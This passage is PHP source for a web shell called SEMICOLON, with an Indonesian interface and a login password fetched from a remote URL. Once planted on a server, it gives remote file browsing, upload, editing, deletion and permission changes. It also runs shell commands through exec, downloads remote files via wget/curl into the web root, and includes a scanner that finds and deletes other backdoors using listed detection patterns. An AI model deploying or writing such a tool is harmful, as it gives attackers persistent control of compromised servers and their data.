$REMOTE_PASSWORD_URL, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'SemicolonShell/3.1' ]); $response = curl_exec($ch); curl_close($ch); return ($response) ? trim($response) : null; } $response = @file_get_contents($REMOTE_PASSWORD_URL); return ($response) ? trim($response) : null; } function sanitize_path($path) { if (empty($path)) $path = '.'; $realpath = realpath($path); return ($realpath === false) ? '.' : $realpath; } function formatBytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); return round($bytes / pow(1024, $pow), $precision) . ' ' . $units[$pow]; } function logActivity($action, $details) { $log_dir = __DIR__ . '/logs'; if (!is_dir($log_dir)) @mkdir($log_dir, 0755, true); $log_file = $log_dir . '/semicolon_' . date('Y-m-d') . '.log'; $entry = date('Y-m-d H:i:s') . ' | IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN') . ' | Aksi: ' . $action . ' | ' . $details . PHP_EOL; @file_put_contents($log_file, $entry, FILE_APPEND | LOCK_EX); } function deleteRecursive($path) { if (!file_exists($path)) return false; if (is_dir($path)) { foreach (array_diff(scandir($path), ['.', '..']) as $item) { if (!deleteRecursive($path . '/' . $item)) return false; } return @rmdir($path); } return @unlink($path); } function executeCommand($cmd) { $whitelist = ['pwd','ls','whoami','id','date','uname','php -v','help','cat','echo','grep','find']; $base = strtolower(trim(explode(' ', $cmd)[0])); if (!in_array($base, $whitelist) && !preg_match('/^(wget|curl)\s+(-O\s+\S+\s+)?https?:\/\/\S+$/i', $cmd)) { return ["Perintah diblokir"]; } $danger = ['rm -rf','mkfs','dd','chmod 777','kill','pkill']; foreach ($danger as $d) if (stripos($cmd, $d) !== false) return ["Diblokir: berbahaya"]; $output = []; if (function_exists('exec')) { @exec($cmd . " 2>&1", $output); } elseif (function_exists('shell_exec')) { $out = @shell_exec($cmd . " 2>&1"); $output = $out ? explode("\n", trim($out)) : ["Tidak ada output"]; } else { $output = ["Tidak tersedia"]; } logActivity('PERINTAH', $cmd); return $output; } function scanForBackdoors($path, $type = 'quick') { $results = ['suspicious_files' => [], 'file_count' => 0, 'scan_time' => 0, 'scan_path' => $path, 'scan_type' => $type]; $start = microtime(true); $patterns = [ 'exec(' => 20, 'system(' => 20, 'shell_exec(' => 20, 'passthru(' => 20, 'eval(' => 25, 'base64_decode' => 15, 'gzinflate(' => 20, 'file_put_contents(' => 18, 'assert(' => 25, 'preg_replace' => 18, 'create_function' => 20, '$_POST' => 15, '$_GET' => 15, '$_REQUEST' => 15, '`' => 15 ]; $extensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'inc', 'txt']; $max_files = ($type == 'deep') ? 5000 : 1500; $scanned_files = 0; $suspicious = []; function recursiveScan($dir, &$scanned_files, &$suspicious, $patterns, $extensions, $max_files, $depth = 0) { if ($depth > 8 || $scanned_files >= $max_files) return; if (!is_dir($dir) || !is_readable($dir)) return; $items = @scandir($dir); if (!$items) return; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full = $dir . '/' . $item; if (is_dir($full)) { $skip = ['node_modules', 'vendor', 'cache', 'logs', 'tmp', 'temp', '.git', '.svn', 'backup']; if (!in_array($item, $skip)) { recursiveScan($full, $scanned_files, $suspicious, $patterns, $extensions, $max_files, $depth + 1); } } else { $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION)); if (in_array($ext, $extensions)) { $scanned_files++; if ($scanned_files > $max_files) return; $size = @filesize($full); if ($size && $size < 1024 * 1024) { $content = @file_get_contents($full); if ($content) { $score = 0; $found = []; $lower = strtolower($content); foreach ($patterns as $pat => $sc) { if (strpos($lower, strtolower($pat)) !== false) { $score += $sc; $found[] = $pat; } } if (preg_match('/eval\s*\(\s*base64_decode/i', $content)) { $score += 30; $found[] = 'eval(base64)'; } if (preg_match('/\$\w+\s*\(\s*\$_POST/i', $content) || preg_match('/\$\w+\s*\(\s*\$_GET/i', $content)) { $score += 20; $found[] = 'dynamic_func'; } if ($score >= 15) { $suspicious[] = [ 'path' => $full, 'name' => $item, 'score' => $score, 'size' => formatBytes($size), 'perms' => substr(sprintf('%o', fileperms($full)), -4), 'patterns' => array_slice(array_unique($found), 0, 5), 'risk' => $score >= 30 ? 'TINGGI' : ($score >= 20 ? 'SEDANG' : 'RENDAH') ]; } } } } } } } recursiveScan($path, $scanned_files, $suspicious, $patterns, $extensions, $max_files); usort($suspicious, fn($a, $b) => $b['score'] - $a['score']); $results['file_count'] = $scanned_files; $results['suspicious_files'] = $suspicious; $results['scan_time'] = round(microtime(true) - $start, 2); return $results; } function quickFileCheck($file_path) { if (!file_exists($file_path)) return "File tidak ditemukan"; if (is_dir($file_path)) return "Ini adalah direktori"; $size = filesize($file_path); if ($size > 1024 * 1024) return "File terlalu besar (>1MB)"; $content = file_get_contents($file_path); $suspicious = []; $checks = [ 'exec(' => 'exec()', 'system(' => 'system()', 'shell_exec(' => 'shell_exec()', 'passthru(' => 'passthru()', 'eval(' => 'eval()', 'base64_decode' => 'base64_decode', 'gzinflate(' => 'gzinflate()', 'assert(' => 'assert()', 'preg_replace' => 'preg_replace()', 'create_function' => 'create_function()', '$_POST' => '$_POST', '$_GET' => '$_GET', 'file_put_contents(' => 'file_put_contents()', '`' => 'backtick' ]; foreach ($checks as $pattern => $name) { if (strpos($content, $pattern) !== false) { $suspicious[] = $name; } } if (preg_match('/eval\s*\(\s*base64_decode/i', $content)) $suspicious[] = 'eval(base64)'; return empty($suspicious) ? "BERSIH - Tidak ada pola mencurigakan" : "TERINDIKASI: " . implode(', ', array_slice($suspicious, 0, 8)); } function getSystemInfo() { return [ 'Server' => [ 'Hostname' => php_uname('n'), 'Sistem Operasi' => php_uname('s') . ' ' . php_uname('r'), 'PHP' => PHP_VERSION, 'IP Server' => $_SERVER['SERVER_ADDR'] ?? 'N/A', 'IP Anda' => $_SERVER['REMOTE_ADDR'] ?? 'N/A' ], 'Sumber Daya' => [ 'Penggunaan Memori' => round(memory_get_usage(true)/1024/1024, 2) . ' MB', 'Disk Tersedia' => formatBytes(disk_free_space('/')), 'Disk Total' => formatBytes(disk_total_space('/')), 'Batas Memori PHP' => ini_get('memory_limit'), 'Eksekusi Maks' => ini_get('max_execution_time') . 's' ] ]; } function getActivityLogs($limit = 100, $filter = null) { $log_dir = __DIR__ . '/logs'; $logs = []; if (!is_dir($log_dir)) return $logs; $log_files = glob($log_dir . '/semicolon_*.log'); rsort($log_files); foreach ($log_files as $file) { $lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines) { foreach (array_reverse($lines) as $line) { if ($filter && stripos($line, $filter) === false) continue; $logs[] = $line; if (count($logs) >= $limit) break 2; } } } return $logs; } function clearActivityLogs($days_old = 30) { $log_dir = __DIR__ . '/logs'; if (!is_dir($log_dir)) return 0; $cutoff = strtotime("-{$days_old} days"); $deleted = 0; foreach (glob($log_dir . '/semicolon_*.log') as $file) { if (filemtime($file) < $cutoff) { if (@unlink($file)) $deleted++; } } return $deleted; } function getLogStats() { $log_dir = __DIR__ . '/logs'; $stats = [ 'total_logs' => 0, 'today_logs' => 0, 'log_size' => 0, 'oldest_log' => null, 'latest_log' => null ]; if (!is_dir($log_dir)) return $stats; $today = date('Y-m-d'); foreach (glob($log_dir . '/semicolon_*.log') as $file) { $size = filesize($file); $stats['log_size'] += $size; preg_match('/semicolon_(\d{4}-\d{2}-\d{2})\.log/', $file, $match); if (isset($match[1])) { if ($match[1] == $today) { $stats['today_logs'] = count(file($file)); } } if (!$stats['oldest_log'] || filemtime($file) < strtotime($stats['oldest_log'])) { $stats['oldest_log'] = date('Y-m-d', filemtime($file)); } if (!$stats['latest_log'] || filemtime($file) > strtotime($stats['latest_log'])) { $stats['latest_log'] = date('Y-m-d H:i:s', filemtime($file)); } } foreach (glob($log_dir . '/semicolon_*.log') as $file) { $stats['total_logs'] += count(file($file)); } $stats['log_size'] = formatBytes($stats['log_size']); return $stats; } function exportLogs($format = 'text') { $logs = getActivityLogs(10000); if ($format == 'json') { header('Content-Type: application/json'); header('Content-Disposition: attachment; filename="logs_' . date('Y-m-d') . '.json"'); echo json_encode(['logs' => $logs, 'exported_at' => date('Y-m-d H:i:s')]); exit; } else { header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="logs_' . date('Y-m-d') . '.txt"'); echo "SEMICOLON ACTIVITY LOGS\n"; echo "Diekspor: " . date('Y-m-d H:i:s') . "\n"; echo str_repeat("=", 60) . "\n\n"; echo implode("\n", $logs); exit; } } if (isset($_GET['ajax_logs'])) { header('Content-Type: application/json'); $filter = $_GET['filter'] ?? null; $logs = getActivityLogs(500, $filter); echo json_encode(['logs' => $logs, 'count' => count($logs), 'timestamp' => date('Y-m-d H:i:s')]); exit; } if (isset($_GET['export_logs'])) { exportLogs($_GET['export_logs']); } if (isset($_POST['clear_old_logs']) || isset($_GET['clear_old_logs'])) { header('Content-Type: application/json'); $deleted = clearActivityLogs(30); echo json_encode(['success' => true, 'deleted' => $deleted]); exit; } if (!isset($_SESSION['authenticated'])) { if (isset($_POST['auth_token'])) { $input = trim($_POST['auth_token']); $real = getPasswordFromRemote(); $auth_error = null; if ($real === null) { $auth_error = "Gagal terhubung ke server auth"; } else { $valid = [$real, md5($real), sha1($real), hash('sha256', $real)]; if (in_array($input, $valid, true)) { $_SESSION['authenticated'] = true; $_SESSION['current_path'] = $_SERVER['DOCUMENT_ROOT'] ?? '.'; logActivity('LOGIN', 'Berhasil login'); header("Location: ?"); exit; } else { $auth_error = "Akses ditolak"; } } } ?> SEMICOLON
'.$auth_error.'
'; ?>
$item, 'path' => $full, 'is_dir' => is_dir($full), 'perms' => substr(sprintf('%o', fileperms($full)), -4), 'modified' => date('Y-m-d H:i:s', filemtime($full)) ]; if ($data['is_dir']) { $data['size'] = '-'; $folders[] = $data; } else { $data['size'] = formatBytes(filesize($full)); $files[] = $data; } } } } usort($folders, fn($a,$b)=>strcasecmp($a['name'],$b['name'])); usort($files, fn($a,$b)=>strcasecmp($a['name'],$b['name'])); $edit_content = null; $edit_file_path = null; if (isset($_GET['edit'])) { $edit_path = realpath($_GET['edit']); if ($edit_path && file_exists($edit_path) && !is_dir($edit_path)) { if (is_readable($edit_path)) { $edit_content = htmlspecialchars(file_get_contents($edit_path)); $edit_file_path = $edit_path; $current_tab = 'edit'; } else { $_SESSION['error'] = "Tidak bisa membaca file: " . basename($edit_path); } } else { $_SESSION['error'] = "File tidak ditemukan"; } } $scan_results = null; if (isset($_POST['start_scan'])) { $scan_path = $_POST['scan_path'] ?? $current_path; $scan_type = $_POST['scan_type'] ?? 'quick'; if (is_dir($scan_path)) { $scan_results = scanForBackdoors($scan_path, $scan_type); $_SESSION['scan_results'] = $scan_results; } else { $_SESSION['error'] = "Path scan tidak valid: " . htmlspecialchars($scan_path); } } if (isset($_SESSION['scan_results'])) { $scan_results = $_SESSION['scan_results']; } $quick_check_result = null; $checked_file = null; if (isset($_POST['quick_check']) && isset($_POST['file_path'])) { $file_path = $_POST['file_path']; if (file_exists($file_path)) { $quick_check_result = quickFileCheck($file_path); $checked_file = $file_path; $_SESSION['quick_check_result'] = $quick_check_result; $_SESSION['checked_file'] = $checked_file; } else { $_SESSION['error'] = "File tidak ditemukan: " . htmlspecialchars($file_path); } } if (isset($_SESSION['quick_check_result'])) { $quick_check_result = $_SESSION['quick_check_result']; $checked_file = $_SESSION['checked_file'] ?? null; } if (isset($_POST['delete_backdoor']) && isset($_POST['backdoor_path'])) { $file = $_POST['backdoor_path']; if (file_exists($file) && unlink($file)) { $_SESSION['success'] = "Dihapus: " . basename($file); logActivity('BACKDOOR_DELETE', $file); if (isset($_SESSION['scan_results'])) unset($_SESSION['scan_results']); } else { $_SESSION['error'] = "Gagal menghapus: " . basename($file); } header("Location: ?tab=scanner"); exit; } if (isset($_POST['delete_selected_backdoors']) && isset($_POST['backdoor_files'])) { $del = 0; foreach ($_POST['backdoor_files'] as $f) { if (file_exists($f) && unlink($f)) $del++; } $_SESSION['success'] = "Dihapus $del backdoor"; if (isset($_SESSION['scan_results'])) unset($_SESSION['scan_results']); header("Location: ?tab=scanner"); exit; } if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) { $deleted = 0; foreach ($_POST['selected_items'] as $item) { if (deleteRecursive($item)) $deleted++; } $_SESSION['success'] = "Dihapus $deleted item"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_GET['delete'])) { if (deleteRecursive($_GET['delete'])) $_SESSION['success'] = "Dihapus"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['rename'])) { $old = $_POST['old_path']; $new = dirname($old) . '/' . trim($_POST['new_name']); if (!empty($_POST['new_name']) && !file_exists($new) && rename($old, $new)) { $_SESSION['success'] = "Berhasil ganti nama"; logActivity('GANTI_NAMA', "$old -> $new"); } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['chmod']) && isset($_POST['chmod_path']) && isset($_POST['permission'])) { @chmod($_POST['chmod_path'], octdec($_POST['permission'])); header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['bulk_chmod']) && isset($_POST['selected_items']) && isset($_POST['bulk_permission'])) { $perm = $_POST['bulk_permission']; if (preg_match('/^[0-7]{3,4}$/', $perm)) { $ok = 0; foreach ($_POST['selected_items'] as $item) { if (@chmod($item, octdec($perm))) $ok++; } $_SESSION['success'] = "Diubah $ok item ke $perm"; } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['upload']) && isset($_FILES['files'])) { $uploaded = 0; foreach ($_FILES['files']['name'] as $i => $name) { if ($_FILES['files']['error'][$i] == UPLOAD_ERR_OK) { $dest = $current_path . '/' . basename($name); if (!file_exists($dest) && move_uploaded_file($_FILES['files']['tmp_name'][$i], $dest)) { $uploaded++; logActivity('UPLOAD', $name); } } } $_SESSION['success'] = "Terupload $uploaded file"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['create_file'])) { $name = basename($_POST['filename']); if (!empty($name)) { $file_path = $current_path . '/' . $name; if (!file_exists($file_path)) { @touch($file_path); $_SESSION['success'] = "Dibuat: $name"; logActivity('BUAT_FILE', $name); } else { $_SESSION['error'] = "File sudah ada: $name"; } } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['create_folder'])) { $name = basename($_POST['foldername']); if (!empty($name) && !is_dir($current_path . '/' . $name)) { @mkdir($current_path . '/' . $name, 0755); $_SESSION['success'] = "Dibuat folder: $name"; logActivity('BUAT_FOLDER', $name); } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['edit_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) { $file = $_POST['file_path']; if (file_exists($file) && is_writable($file)) { $backup_dir = __DIR__ . '/backups'; if (!is_dir($backup_dir)) @mkdir($backup_dir, 0755, true); @copy($file, $backup_dir . '/' . basename($file) . '_' . date('Ymd_His') . '.bak'); if (file_put_contents($file, $_POST['file_content']) !== false) { $_SESSION['success'] = "File berhasil disimpan!"; logActivity('EDIT_FILE', $file); } else { $_SESSION['error'] = "Gagal menyimpan file (izin ditolak?)"; } } else { $_SESSION['error'] = "Tidak bisa menulis ke file: " . basename($file); } header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['download_url_submit'])) { $url = $_POST['download_url']; $name = !empty($_POST['filename']) ? basename($_POST['filename']) : basename($url); $dest = $current_path . '/' . $name; $data = @file_get_contents($url); if ($data && file_put_contents($dest, $data)) { $_SESSION['success'] = "Download: $name"; logActivity('URL_DOWNLOAD', $url); } else $_SESSION['error'] = "Download gagal"; header("Location: ?path=" . urlencode($current_path) . "&tab=files"); exit; } if (isset($_POST['terminal_cmd'])) { $cmd = trim($_POST['terminal_cmd']); if (preg_match('/^wget\s+(-O\s+(\S+)\s+)?(https?:\/\/\S+)/i', $cmd, $m)) { $url = $m[3]; $name = !empty($m[2]) ? basename($m[2]) : basename($url); $dest = $current_path . '/' . $name; $data = @file_get_contents($url); $out = ($data && file_put_contents($dest, $data)) ? "Download $name berhasil" : "Gagal"; $_SESSION['terminal_output'] = $out; } else { $out = executeCommand($cmd); $_SESSION['terminal_output'] = implode("\n", $out); } $_SESSION['last_command'] = $cmd; header("Location: ?path=" . urlencode($current_path) . "&tab=terminal"); exit; } if (isset($_GET['download'])) { $file = $_GET['download']; if (file_exists($file) && !is_dir($file)) { logActivity('DOWNLOAD', $file); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($file).'"'); readfile($file); exit; } } if (isset($_GET['logout'])) { logActivity('LOGOUT', 'Pengguna keluar'); session_destroy(); header("Location: ?"); exit; } $parent_path = dirname($current_path); $can_go_back = ($parent_path != $current_path && is_dir($parent_path) && $parent_path != '.'); ?> SEMICOLON v<?php echo VERSION; ?> | NEO
⚡ SEMICOLON v
⛔ KELUAR
⚠️
0 item dipilih  | 
📂 DIREKTORI KOSONG
NAMA UKURAN PERMISI MODIFIKASI AKSI
- 📁 .. (INDUK) - - - -
📁 /
📄
💻 TERMINAL //
┌─────────────────────────────────────────────────┐
│ SEMICOLON v - NEO TERMINAL │
├─────────────────────────────────────────────────┤
│ perintah: pwd, ls, whoami, id, date, cat │
│ download: wget URL, curl -o file URL │
│ help: tampilkan menu ini │
└─────────────────────────────────────────────────┘
$ pwd
$
🔍 BACKDOOR SCANNER // MODE DETEKSI

📄 CEK FILE CEPAT

📁 File:
🎯 Hasil:

🚀 SCAN DIREKTORI FULL

📊 HASIL SCAN

📂 Path:
⚡ Tipe:
📄 File Discan:
⚠️ Mencurigakan:
⏱️ Waktu: detik
✅ BERSIH - Tidak ada pola mencurigakan terdeteksi
FILE RISIKO UKURAN PERMISI POLA AKSI
()
⚙️ DIAGNOSTIK SISTEM
$data): ?>

$v): ?>
📋 LOG AKTIVITAS REAL-TIME   ● LIVE
📊 Statistik
TOTAL LOG
HARI INI
TOTAL UKURAN
AKTIVITAS TERAKHIR
Memuat log...
⚡ Auto-refresh setiap 60 detik | 📁 Lokasi log: /logs/ | 💡 Klik pada baris log untuk menyalin
✏️ MENGEDIT FILE:
📁 Path lengkap:
📏 Ukuran:
🔐 Permission: